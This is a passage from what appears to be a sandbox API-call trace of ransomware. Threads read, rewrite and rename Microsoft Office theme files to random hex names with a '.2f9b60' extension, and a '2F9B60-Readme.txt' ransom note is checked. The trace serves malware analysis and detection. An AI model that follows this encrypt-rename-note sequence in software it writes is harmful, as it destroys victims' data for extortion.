liDistanceToMove=0x8714d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.531] ReadFile (in: hFile=0xa3c, lpBuffer=0x1ce61120, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x248af940, lpOverlapped=0x0 | out: lpBuffer=0x1ce61120*, lpNumberOfBytesRead=0x248af940*=0x3c00, lpOverlapped=0x0) returned 1 [0088.532] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x8714d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0088.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a060 [0088.532] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a060) returned 1 [0088.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce59900 [0088.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a060 [0088.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e20 [0088.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859e20) returned 1 [0088.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0088.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.533] WriteFile (in: hFile=0xa3c, lpBuffer=0x1ce59900*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x248af940, lpOverlapped=0x0 | out: lpBuffer=0x1ce59900*, lpNumberOfBytesWritten=0x248af940*=0x3c00, lpOverlapped=0x0) returned 1 [0088.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59900) returned 1 [0088.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c2210 [0088.534] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0088.534] WriteFile (in: hFile=0xa3c, lpBuffer=0x133600*, nNumberOfBytesToWrite=0x14e, lpNumberOfBytesWritten=0x248af9f0, lpOverlapped=0x0 | out: lpBuffer=0x133600*, lpNumberOfBytesWritten=0x248af9f0*=0x14e, lpOverlapped=0x0) returned 1 [0088.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0088.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a0f0 [0088.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a0f0) returned 1 [0088.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1b85a0f0 [0088.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a060 [0088.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e20 [0088.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859e20) returned 1 [0088.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0088.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1cd97350 [0088.536] sprintf (in: _Dest=0x1cd97350, _Format="%c%c" | out: _Dest="88") returned 2 [0088.536] sprintf (in: _Dest=0x1cd97352, _Format="%c%c" | out: _Dest="49") returned 2 [0088.536] sprintf (in: _Dest=0x1cd97354, _Format="%c%c" | out: _Dest="1c") returned 2 [0088.537] sprintf (in: _Dest=0x1cd97356, _Format="%c%c" | out: _Dest="51") returned 2 [0088.537] sprintf (in: _Dest=0x1cd97358, _Format="%c%c" | out: _Dest="c7") returned 2 [0088.537] sprintf (in: _Dest=0x1cd9735a, _Format="%c%c" | out: _Dest="57") returned 2 [0088.537] sprintf (in: _Dest=0x1cd9735c, _Format="%c%c" | out: _Dest="d4") returned 2 [0088.537] sprintf (in: _Dest=0x1cd9735e, _Format="%c%c" | out: _Dest="c2") returned 2 [0088.537] sprintf (in: _Dest=0x1cd97360, _Format="%c%c" | out: _Dest="11") returned 2 [0088.537] sprintf (in: _Dest=0x1cd97362, _Format="%c%c" | out: _Dest="1e") returned 2 [0088.537] sprintf (in: _Dest=0x1cd97364, _Format="%c%c" | out: _Dest="8d") returned 2 [0088.537] sprintf (in: _Dest=0x1cd97366, _Format="%c%c" | out: _Dest="61") returned 2 [0088.537] sprintf (in: _Dest=0x1cd97368, _Format="%c%c" | out: _Dest="3a") returned 2 [0088.537] sprintf (in: _Dest=0x1cd9736a, _Format="%c%c" | out: _Dest="b7") returned 2 [0088.537] sprintf (in: _Dest=0x1cd9736c, _Format="%c%c" | out: _Dest="3f") returned 2 [0088.537] sprintf (in: _Dest=0x1cd9736e, _Format="%c%c" | out: _Dest="10") returned 2 [0088.537] sprintf (in: _Dest=0x1cd97370, _Format="%c%c" | out: _Dest="6b") returned 2 [0088.537] sprintf (in: _Dest=0x1cd97372, _Format="%c%c" | out: _Dest="9d") returned 2 [0088.537] sprintf (in: _Dest=0x1cd97374, _Format="%c%c" | out: _Dest="8a") returned 2 [0088.537] sprintf (in: _Dest=0x1cd97376, _Format="%c%c" | out: _Dest="63") returned 2 [0088.537] sprintf (in: _Dest=0x1cd97378, _Format="%c%c" | out: _Dest="74") returned 2 [0088.537] sprintf (in: _Dest=0x1cd9737a, _Format="%c%c" | out: _Dest="ce") returned 2 [0088.537] sprintf (in: _Dest=0x1cd9737c, _Format="%c%c" | out: _Dest="3b") returned 2 [0088.537] sprintf (in: _Dest=0x1cd9737e, _Format="%c%c" | out: _Dest="c6") returned 2 [0088.537] sprintf (in: _Dest=0x1cd97380, _Format="%c%c" | out: _Dest="fc") returned 2 [0088.537] sprintf (in: _Dest=0x1cd97382, _Format="%c%c" | out: _Dest="99") returned 2 [0088.537] sprintf (in: _Dest=0x1cd97384, _Format="%c%c" | out: _Dest="a8") returned 2 [0088.537] sprintf (in: _Dest=0x1cd97386, _Format="%c%c" | out: _Dest="0a") returned 2 [0088.537] RtlInitAnsiString (in: DestinationString=0x248afa68, SourceString="88491c51c757d4c2111e8d613ab73f106b9d8a6374ce3bc6fc99a80a" | out: DestinationString="88491c51c757d4c2111e8d613ab73f106b9d8a6374ce3bc6fc99a80a") [0088.537] RtlAnsiStringToUnicodeString (in: DestinationString=0x248afa38, SourceString="88491c51c757d4c2111e8d613ab73f106b9d8a6374ce3bc6fc99a80a", AllocateDestinationString=1 | out: DestinationString="88491c51c757d4c2111e8d613ab73f106b9d8a6374ce3bc6fc99a80a") returned 0x0 [0088.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b79dff0 [0088.538] wcscat (in: _Dest=0x1b7ad2a0, _Source="88491c51c757d4" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\88491c51c757d4") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\88491c51c757d4" [0088.538] wcscat (in: _Dest=0x1b7ad2a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\88491c51c757d4.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\88491c51c757d4.2f9b60" [0088.538] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\88491c51c757d4.2f9b60", NtPathName=0x248afa10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\88491c51c757d4.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0088.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x106e80 [0088.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106e80) returned 1 [0088.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0088.540] NtQueryInformationFile (in: FileHandle=0xa3c, IoStatusBlock=0x248afa78, FileInformation=0x248afa88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x248afa78, FileInformation=0x248afa88) returned 0x0 [0088.540] NtSetInformationFile (FileHandle=0xa3c, IoStatusBlock=0x248afa78, FileInformation=0x248afa88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0088.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0088.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0088.541] FlushFileBuffers (hFile=0xa3c) returned 1 [0088.542] CloseHandle (hObject=0xa3c) returned 1 [0088.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ad2a0 [0088.543] wcscpy (in: _Dest=0x1b7ad2a0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0088.543] wcscat (in: _Dest=0x1b7ad2a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" [0088.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\2f9b60-readme.txt")) returned 0x20 [0088.544] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0088.544] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7847f0) returned 1 Thread: id = 332 os_tid = 0xe60 [0088.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Concourse.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\concourse.thmx")) returned 0x20 [0088.558] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Concourse.thmx", dwFileAttributes=0x20) returned 1 [0088.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Concourse.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\concourse.thmx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa3c [0088.558] GetFileSizeEx (in: hFile=0xa3c, lpFileSize=0x249bf9c0 | out: lpFileSize=0x249bf9c0*=74765) returned 1 [0088.558] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x12409, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.558] ReadFile (in: hFile=0xa3c, lpBuffer=0x249bf940, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x249bf988, lpOverlapped=0x0 | out: lpBuffer=0x249bf940*, lpNumberOfBytesRead=0x249bf988*=0x4, lpOverlapped=0x0) returned 1 [0088.562] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a120 [0088.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859ee0 [0088.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859eb0 [0088.562] NtQuerySystemTime (in: CurrentTime=0x249bf880 | out: CurrentTime=0x249bf880*=132462176944342000) returned 0x0 [0088.562] RtlRandomEx (in: Seed=0x249bf870 | out: Seed=0x249bf870) returned 0x3d94081a [0088.562] RtlRandomEx (in: Seed=0x249bf870 | out: Seed=0x249bf870) returned 0x64ad9730 [0088.562] RtlRandomEx (in: Seed=0x249bf870 | out: Seed=0x249bf870) returned 0x71d06f90 [0088.562] RtlRandomEx (in: Seed=0x249bf870 | out: Seed=0x249bf870) returned 0x3ba6e077 [0088.562] RtlRandomEx (in: Seed=0x249bf870 | out: Seed=0x249bf870) returned 0x515fefde [0088.562] RtlRandomEx (in: Seed=0x249bf870 | out: Seed=0x249bf870) returned 0x1585fcda [0088.562] RtlRandomEx (in: Seed=0x249bf870 | out: Seed=0x249bf870) returned 0x7f582793 [0088.562] RtlRandomEx (in: Seed=0x249bf870 | out: Seed=0x249bf870) returned 0x6bcb5e55 [0088.562] RtlRandomEx (in: Seed=0x249bf870 | out: Seed=0x249bf870) returned 0x640028b5 [0088.562] RtlRandomEx (in: Seed=0x249bf870 | out: Seed=0x249bf870) returned 0x1590765 [0088.562] RtlRandomEx (in: Seed=0x249bf870 | out: Seed=0x249bf870) returned 0x4fd44e45 [0088.562] RtlRandomEx (in: Seed=0x249bf870 | out: Seed=0x249bf870) returned 0x653ae276 [0088.562] RtlRandomEx (in: Seed=0x249bf870 | out: Seed=0x249bf870) returned 0x1b649c57 [0088.562] RtlRandomEx (in: Seed=0x249bf870 | out: Seed=0x249bf870) returned 0x5aec3030 [0088.562] RtlRandomEx (in: Seed=0x249bf870 | out: Seed=0x249bf870) returned 0xd1659ca [0088.562] RtlRandomEx (in: Seed=0x249bf870 | out: Seed=0x249bf870) returned 0x2b55e25d [0088.562] RtlRandomEx (in: Seed=0x249bf870 | out: Seed=0x249bf870) returned 0x12d6ce18 [0088.562] RtlRandomEx (in: Seed=0x249bf870 | out: Seed=0x249bf870) returned 0x180c8e7c [0088.562] RtlRandomEx (in: Seed=0x249bf870 | out: Seed=0x249bf870) returned 0x60acf9d0 [0088.563] RtlRandomEx (in: Seed=0x249bf870 | out: Seed=0x249bf870) returned 0x6d6368a0 [0088.563] RtlRandomEx (in: Seed=0x249bf870 | out: Seed=0x249bf870) returned 0x3759acd5 [0088.563] RtlRandomEx (in: Seed=0x249bf870 | out: Seed=0x249bf870) returned 0x2644bca4 [0088.563] RtlRandomEx (in: Seed=0x249bf870 | out: Seed=0x249bf870) returned 0x33f1629b [0088.563] RtlRandomEx (in: Seed=0x249bf870 | out: Seed=0x249bf870) returned 0x3216391c [0088.563] RtlRandomEx (in: Seed=0x249bf870 | out: Seed=0x249bf870) returned 0x20afb0d1 [0088.563] RtlRandomEx (in: Seed=0x249bf870 | out: Seed=0x249bf870) returned 0x4140160e [0088.563] RtlRandomEx (in: Seed=0x249bf870 | out: Seed=0x249bf870) returned 0x6889e464 [0088.563] RtlRandomEx (in: Seed=0x249bf870 | out: Seed=0x249bf870) returned 0x67290b1b [0088.563] RtlRandomEx (in: Seed=0x249bf870 | out: Seed=0x249bf870) returned 0x3c2e9d7d [0088.563] RtlRandomEx (in: Seed=0x249bf870 | out: Seed=0x249bf870) returned 0x1cf458c0 [0088.563] RtlRandomEx (in: Seed=0x249bf870 | out: Seed=0x249bf870) returned 0x1f29e6d8 [0088.563] RtlRandomEx (in: Seed=0x249bf870 | out: Seed=0x249bf870) returned 0x6535c460 [0088.571] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.571] ReadFile (in: hFile=0xa3c, lpBuffer=0x1ce59900, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x249bf8e0, lpOverlapped=0x0 | out: lpBuffer=0x1ce59900*, lpNumberOfBytesRead=0x249bf8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0088.574] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.574] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.574] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0088.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a120 [0088.575] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a120) returned 1 [0088.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce5d510 [0088.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a120 [0088.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859eb0 [0088.575] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859eb0) returned 1 [0088.575] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0088.575] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.575] WriteFile (in: hFile=0xa3c, lpBuffer=0x1ce5d510*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x249bf8e0, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesWritten=0x249bf8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0088.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5d510) returned 1 [0088.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59900) returned 1 [0088.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9f970 [0088.593] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0088.593] WriteFile (in: hFile=0xa3c, lpBuffer=0x166e00*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x249bf990, lpOverlapped=0x0 | out: lpBuffer=0x166e00*, lpNumberOfBytesWritten=0x249bf990*=0x10e, lpOverlapped=0x0) returned 1 [0088.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0088.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a0c0 [0088.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a0c0) returned 1 [0088.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1b85a0c0 [0088.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0088.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e80 [0088.597] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859e80) returned 1 [0088.597] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0088.597] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1cd97350 [0088.597] sprintf (in: _Dest=0x1cd97350, _Format="%c%c" | out: _Dest="20") returned 2 [0088.597] sprintf (in: _Dest=0x1cd97352, _Format="%c%c" | out: _Dest="ad") returned 2 [0088.597] sprintf (in: _Dest=0x1cd97354, _Format="%c%c" | out: _Dest="8e") returned 2 [0088.597] sprintf (in: _Dest=0x1cd97356, _Format="%c%c" | out: _Dest="6a") returned 2 [0088.597] sprintf (in: _Dest=0x1cd97358, _Format="%c%c" | out: _Dest="3e") returned 2 [0088.597] sprintf (in: _Dest=0x1cd9735a, _Format="%c%c" | out: _Dest="21") returned 2 [0088.597] sprintf (in: _Dest=0x1cd9735c, _Format="%c%c" | out: _Dest="96") returned 2 [0088.597] sprintf (in: _Dest=0x1cd9735e, _Format="%c%c" | out: _Dest="33") returned 2 [0088.597] sprintf (in: _Dest=0x1cd97360, _Format="%c%c" | out: _Dest="8b") returned 2 [0088.597] sprintf (in: _Dest=0x1cd97362, _Format="%c%c" | out: _Dest="9d") returned 2 [0088.597] sprintf (in: _Dest=0x1cd97364, _Format="%c%c" | out: _Dest="2b") returned 2 [0088.597] sprintf (in: _Dest=0x1cd97366, _Format="%c%c" | out: _Dest="6a") returned 2 [0088.597] sprintf (in: _Dest=0x1cd97368, _Format="%c%c" | out: _Dest="1a") returned 2 [0088.597] sprintf (in: _Dest=0x1cd9736a, _Format="%c%c" | out: _Dest="7e") returned 2 [0088.598] sprintf (in: _Dest=0x1cd9736c, _Format="%c%c" | out: _Dest="44") returned 2 [0088.598] sprintf (in: _Dest=0x1cd9736e, _Format="%c%c" | out: _Dest="8c") returned 2 [0088.598] sprintf (in: _Dest=0x1cd97370, _Format="%c%c" | out: _Dest="bc") returned 2 [0088.598] sprintf (in: _Dest=0x1cd97372, _Format="%c%c" | out: _Dest="03") returned 2 [0088.598] sprintf (in: _Dest=0x1cd97374, _Format="%c%c" | out: _Dest="72") returned 2 [0088.598] sprintf (in: _Dest=0x1cd97376, _Format="%c%c" | out: _Dest="f5") returned 2 [0088.598] sprintf (in: _Dest=0x1cd97378, _Format="%c%c" | out: _Dest="8f") returned 2 [0088.598] sprintf (in: _Dest=0x1cd9737a, _Format="%c%c" | out: _Dest="1e") returned 2 [0088.598] sprintf (in: _Dest=0x1cd9737c, _Format="%c%c" | out: _Dest="2c") returned 2 [0088.598] sprintf (in: _Dest=0x1cd9737e, _Format="%c%c" | out: _Dest="59") returned 2 [0088.598] sprintf (in: _Dest=0x1cd97380, _Format="%c%c" | out: _Dest="8d") returned 2 [0088.598] sprintf (in: _Dest=0x1cd97382, _Format="%c%c" | out: _Dest="8d") returned 2 [0088.598] sprintf (in: _Dest=0x1cd97384, _Format="%c%c" | out: _Dest="ae") returned 2 [0088.598] sprintf (in: _Dest=0x1cd97386, _Format="%c%c" | out: _Dest="34") returned 2 [0088.598] RtlInitAnsiString (in: DestinationString=0x249bfa08, SourceString="20ad8e6a3e2196338b9d2b6a1a7e448cbc0372f58f1e2c598d8dae34" | out: DestinationString="20ad8e6a3e2196338b9d2b6a1a7e448cbc0372f58f1e2c598d8dae34") [0088.598] RtlAnsiStringToUnicodeString (in: DestinationString=0x249bf9d8, SourceString="20ad8e6a3e2196338b9d2b6a1a7e448cbc0372f58f1e2c598d8dae34", AllocateDestinationString=1 | out: DestinationString="20ad8e6a3e2196338b9d2b6a1a7e448cbc0372f58f1e2c598d8dae34") returned 0x0 [0088.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b79e070 [0088.599] wcscat (in: _Dest=0x1b7ad2a0, _Source="20ad8e6a3e2196" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\20ad8e6a3e2196") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\20ad8e6a3e2196" [0088.599] wcscat (in: _Dest=0x1b7ad2a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\20ad8e6a3e2196.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\20ad8e6a3e2196.2f9b60" [0088.599] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\20ad8e6a3e2196.2f9b60", NtPathName=0x249bf9b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\20ad8e6a3e2196.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0088.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x106e80 [0088.600] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106e80) returned 1 [0088.600] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0088.601] NtQueryInformationFile (in: FileHandle=0xa3c, IoStatusBlock=0x249bfa18, FileInformation=0x249bfa28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x249bfa18, FileInformation=0x249bfa28) returned 0x0 [0088.601] NtSetInformationFile (FileHandle=0xa3c, IoStatusBlock=0x249bfa18, FileInformation=0x249bfa28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0088.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0088.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0088.602] FlushFileBuffers (hFile=0xa3c) returned 1 [0088.603] CloseHandle (hObject=0xa3c) returned 1 [0088.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ad2a0 [0088.604] wcscpy (in: _Dest=0x1b7ad2a0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0088.604] wcscat (in: _Dest=0x1b7ad2a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" [0088.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\2f9b60-readme.txt")) returned 0x20 [0088.604] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0088.604] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784880) returned 1 Thread: id = 333 os_tid = 0xe64 [0088.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\couture.thmx")) returned 0x20 [0088.572] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx", dwFileAttributes=0x20) returned 1 [0088.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\couture.thmx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa40 [0088.573] GetFileSizeEx (in: hFile=0xa40, lpFileSize=0x24b0fa40 | out: lpFileSize=0x24b0fa40*=2003652) returned 1 [0088.573] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0x1e92c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.573] ReadFile (in: hFile=0xa40, lpBuffer=0x24b0f9c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x24b0fa08, lpOverlapped=0x0 | out: lpBuffer=0x24b0f9c0*, lpNumberOfBytesRead=0x24b0fa08*=0x4, lpOverlapped=0x0) returned 1 [0088.579] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859eb0 [0088.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a060 [0088.580] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a0f0 [0088.580] NtQuerySystemTime (in: CurrentTime=0x24b0f900 | out: CurrentTime=0x24b0f900*=132462176944498000) returned 0x0 [0088.580] RtlRandomEx (in: Seed=0x24b0f8f0 | out: Seed=0x24b0f8f0) returned 0x6a4d268b [0088.580] RtlRandomEx (in: Seed=0x24b0f8f0 | out: Seed=0x24b0f8f0) returned 0x10ef157f [0088.580] RtlRandomEx (in: Seed=0x24b0f8f0 | out: Seed=0x24b0f8f0) returned 0x40d0f7f8 [0088.580] RtlRandomEx (in: Seed=0x24b0f8f0 | out: Seed=0x24b0f8f0) returned 0x50c68f [0088.580] RtlRandomEx (in: Seed=0x24b0f8f0 | out: Seed=0x24b0f8f0) returned 0x7b9fd24f [0088.580] RtlRandomEx (in: Seed=0x24b0f8f0 | out: Seed=0x24b0f8f0) returned 0x33d66f16 [0088.580] RtlRandomEx (in: Seed=0x24b0f8f0 | out: Seed=0x24b0f8f0) returned 0x3e3b6a [0088.580] 